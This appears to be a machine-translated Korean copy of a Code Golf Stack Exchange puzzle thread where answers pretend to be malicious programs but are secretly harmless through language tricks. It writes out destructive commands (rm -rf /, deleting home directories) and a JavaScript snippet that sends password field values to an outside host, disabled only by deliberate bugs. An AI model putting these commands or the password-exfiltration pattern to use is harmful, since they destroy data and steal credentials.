와우,이 코드가 무엇을하는지 이해하는데 시간이 걸렸습니다 (그러나 스포일러는 읽지 않았습니다). 나는이 정규식 호출 블록을 해독했으며 ( codegolf.stackexchange.com/a/23871/3103 에서 사용한 것과 같은 방법입니다 ) exit명령 이 포함 된 방식을 좋아합니다 (이후에 무의미한 세미콜론이 있지만 중요하지는 않습니다) ).
Konrad Borowski 2014 년

Hehe, 그것을 스스로 알아 내야했습니다. 결국 11-12 세입니다. 세미콜론은 아마도 모든 것을 깔끔하게 정리하는 것일 것입니다.
Stoffe

9

PHP :

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

언뜻보기에 $conditionfalse이지만 =연산자가 우선권을 가지 and므로 조건이 true입니다. 따라서 악은 결코 이루어지지 않습니다.


8

Boost가있는 C ++

파일 시스템의 모든 파일이 삭제됩니다

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

실제로는 그렇지 않습니다. deleteC ++에서 new파일 및 디렉토리에 의해 할당 된 메모리를 해제하고 삭제하지 않는 데 사용됩니다 . 프로그램은 Boost가 할당 한 메모리를 할당 해제하려고 할 때 세그먼테이션 오류로 충돌 할 가능성이 있지만 그때까지는 트롤의 포로를 피할 것입니다.


+1. 오류없이 컴파일되기 때문에 쉽게 알 수 없습니다.
Erel Segal-Halevi

2
첫 번째 문제는 정의되지 않은 동작이 아닙니까? 이 경우 실제로 모든 파일을 삭제할 수 있습니다.
aschepler

1
@aschepler : "UB는 모든 파일을 삭제할 수 있습니다"는 UB를 호출 할 때 어떤 일이 발생하는지 예측할 수 없다는 재미있는 설명을 제공하지만 일반적으로 가능하지는 않습니다. 트롤이 UB에있는 하드 드라이브를 지우는 컴파일러를 가지고 있다면, 그는 우리에게 그를 악성 코드로 만들지 않을 것입니다
3Doubloons

2
구문 강조는 트롤에게 여기에 힌트를 줄 것이다 ...
mik01aj

8

자바

RAM을 다운로드하는 것처럼 보이지만 사용자의 홈 디렉토리는 삭제됩니다.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timer백그라운드 스레드를 사용하여 TimerTask제출 한을 호출합니다 . 백그라운드 스레드를 데몬 스레드로 설정 new Timer(true)하여을 생성 Timer하므로 작업을 실행하기 직전에 프로그램이 종료됩니다. 지나치게 긴 코드는 트롤이 true매개 변수 를 보지 못하게합니다 .


7
rm -rf ⁄

문자는 일반 슬래시 문자 (/, 즉 유니 코드의 SOLIDUS)가 아니라 FRACTION SLASH입니다. "rm : ⁄ : 해당 파일 또는 디렉토리 없음"과 같은 메시지를 인쇄합니다


10
오, 정말 해보도록하겠습니다 ...
Michael J. Calkins

1
@MichaelCalkins : 권한이없는 사용자로 시도하여 "찾을 수 없음"메시지를 볼 수 있습니다.
Olivier Dulac

7

세게 때리다

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

어쩌면 점점 악할 수도 있습니다. 함수를 정의 rm -rf /하고 호출합니다. 그것은 두 번 이상 eval 을 이용하는 것이 아닙니다 .

확실히 많은 피해를 입을 것입니다!

궁금한 점이 있으면 첫 번째 eval함수는 다음과 같이 함수의 설정을 해제합니다. unset -f cleanup 두 번째 함수는 다음을 eval정의합니다. cleanup() { echo Troll detected; } 따라서 코드를 실행하면 Troll detected


9
좋은! 그러나 실제 삭제에 전혀 사용되지 않는 "base64"줄은이를 약간 명백하게합니다.
Erel Segal-Halevi

1
evals가 명백한 코드보다 더 악한 일을하고 있다고 믿게되면 더 나을 수 있습니다 . 현재 코드는 나에게 묻습니다 : 명백한 것이 모든 것을 삭제하면 왜 '악한'코드를 숨기고 있습니까?
Tim S.

2
나는 이것이 잠재적으로 매우 악의적이므로 요구 사항을 충족시키지 못한다고 생각합니다. base64(표준 명령이 아닌) 실행중인 시스템에 존재하지 않는다면, evals는 아무것도하지 않고 rm -rf /실행됩니다! base64존재하지만 어떤 이유로 실패하는 경우에도 발생할 수 있습니다 (예 :) ulimit.
R ..

1
@R .: 또한 rm -rf /대부분 rm의 구현 에서는 작동하지 않습니다 . 이것은 보안 기능입니다 rm. 대부분의 구현에서 루트 디렉토리를 제거 할 수 없습니다 .
Konrad Borowski

1
내가 아는 한 busybox 버전에서 작동합니다. :-)
R ..

6

세게 때리다

물론 우리는 머신에 대한 루트 권한이 필요합니다. 그래서 우리는 좋은 오래된 "루트가 있습니까?"-검사기, 일명 ch (eck) 루트를 사용 합니다. 모든 사람이 파일을 작성할 수 있기 때문에 / tmp는 완벽 할 것입니다.

이 후 우리는 단지 전체 하드 드라이브 사악한 웃음을 삭제

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
독일 사람으로 말할 수 있습니다 : 독일 사람으로 사악한 웃음을하지 마십시오 ...
Philipp Sander

Wer 는 독일인이 아니라면 ze eefil 웃음을 할 수 있습니까?
Alexander Kosubek

5
나는 이것이 코드를 몇 번 읽은 다음 누군가가 이것이 악의적이라고 생각할 수있는 이유를 해결하기 위해 귀하의 의견을 다시 읽은 것을 인정해야합니다. 만약 당신이 chroot가 아닌 다른 일을하고 있고 트롤이 주석을 읽지 않는다고하는 질문에 설득하려하지 않았다면 이것이 효과가 없을 것이라고 생각합니다.
Chris

1
또한, chroot"루트 확인"이 아니라 "루트 변경" /입니다. 사용자의 생각이 바뀝니다 . 흥미롭게도이 트롤은 루트 사용자와 비 루트 사용자를 위해 아무 것도하지 않습니다. 루트 사용자는 새로운 루트를 얻습니다 (따라서 새로 작성된 / tmp / chroot_dir 루트에 아무것도 없기 때문에 / bin / bash 명령이 없음). 비 루트 사용자는 chroot에 실패합니다.
mah

이것은 이것에 대한 단서와 같습니다-나는 그것이 "루트 변경"이 아니라는 것을 알고 있습니다. 그러나 나의 포획 자 (올바른 단어?)는 알지 못합니다 – 그래서 그는 실패합니다
german_guy

6

아이폰-플래 피 버드 클론

사용자가 iPhone Flappy Bird 클론을 재생하는 동안 Documents 디렉토리의 모든 파일이 삭제됩니다.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

iOS의 각 앱은 샌드 박스 처리되므로 Documents 디렉토리의 모든 항목이 삭제되지만이 특정 앱의 Documents 디렉토리 만됩니다. 트롤은 이미 다른 플랫폼을위한 많은 프로그램으로 넘쳐 났기 때문에이를 잘 모르고 있습니다. 그리고 그가 Flappy Bird 클론을 꺼낼 수 있다는 것을 알게 되 자마자, 그는 나머지 코드에 대해 생각하지 않아도 너무 흥분되어서 광고없이 하루에 50,000 달러를 광고하는 꿈을 꾸고 있습니다. 어떤 일을 하든지


5

가다:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

이것은 조금 까다 롭습니다. 기본 Goroutine이 종료되면 Go 전체 프로그램이 종료됩니다. 이를 해결하는 좋은 방법은 Waitgroup을 사용하는 것입니다. 내 "수정"에는 두 가지 큰 문제가 있습니다.

  1. 대기 그룹은 Goroutine이 시작될 때까지 추가되지 않습니다. 즉, Goroutine이 Wait삭제되기 전에 기본 Goroutine이 충돌 합니다 Add. 카운터는 0이므로 기다릴 것이 없으므로 차단되지 않고 종료되어 프로그램을 종료합니다.
  2. 어쨌든 마술처럼 deleteAll goroutine의 추가가 먼저 수행됩니다. 포인터가 아닌 Waitgroup의 사본을 얻었습니다. 동일한 대기 그룹에 추가되지 않으므로 기본 Goroutine은이를 볼 수 없습니다.

입력을 기대하는 fmt.Scanln ()은 어떤 상황이 발생하기 전에 주요 Goroutine이 종료되도록하는 것입니다. Println은 IO 블록으로 전환하고 메인 Goroutine 실행으로 전환하므로 (종료) Scanln은 거의 그렇게 할 것입니다. 실제로 Go의 모든 버전에는 필요하지 않습니다.

초 이론 토지 에서이 작업이 가능하고 무언가를 삭제할 수 있습니다 .Go 메모리 모델에 따르면의 종료 main및 실행과 관련하여 보장 된 "이전의"관계는 보장 RemoveAll되지 않지만 현대 Go 런타임 / 컴파일러에는 입증되지 않습니다. 주요 기능에 동기화를하지 않는 실수를 저지른 모든 초보자들.


4

자바 스크립트

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

그것은 실행되지 않습니다, 당신은 parens로 그것을 surond하지 않고 모든 호출 폐쇄를 만들 수 없습니다

2.

트롤이 그것을 고칠 수 있다면, 디버깅 할 아름다운 오타가 있습니다 ... ;-)


1
어떤 언어? 어쩌면 오타에 대한 힌트를 더 많이 얻을 수 있습니다
masterX244

@ masterX244는 Javascript이므로 편집하겠습니다. 오타 힌트 : ReferenceError
Juan Garcia

3
오타가 너무 자주 발생하여 편집자가 자동 ​​수정해야합니다.
mik01aj

예, 나는 오타를 많이합니다. 특히 단어의 길이 가 아주 긴 경우 : P
Mohammed Joraid

1
@ m01 +1 예외 또는 컴파일 시간 오류가 발생하는 예약어 여야한다고 생각합니다!
Juan Garcia
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.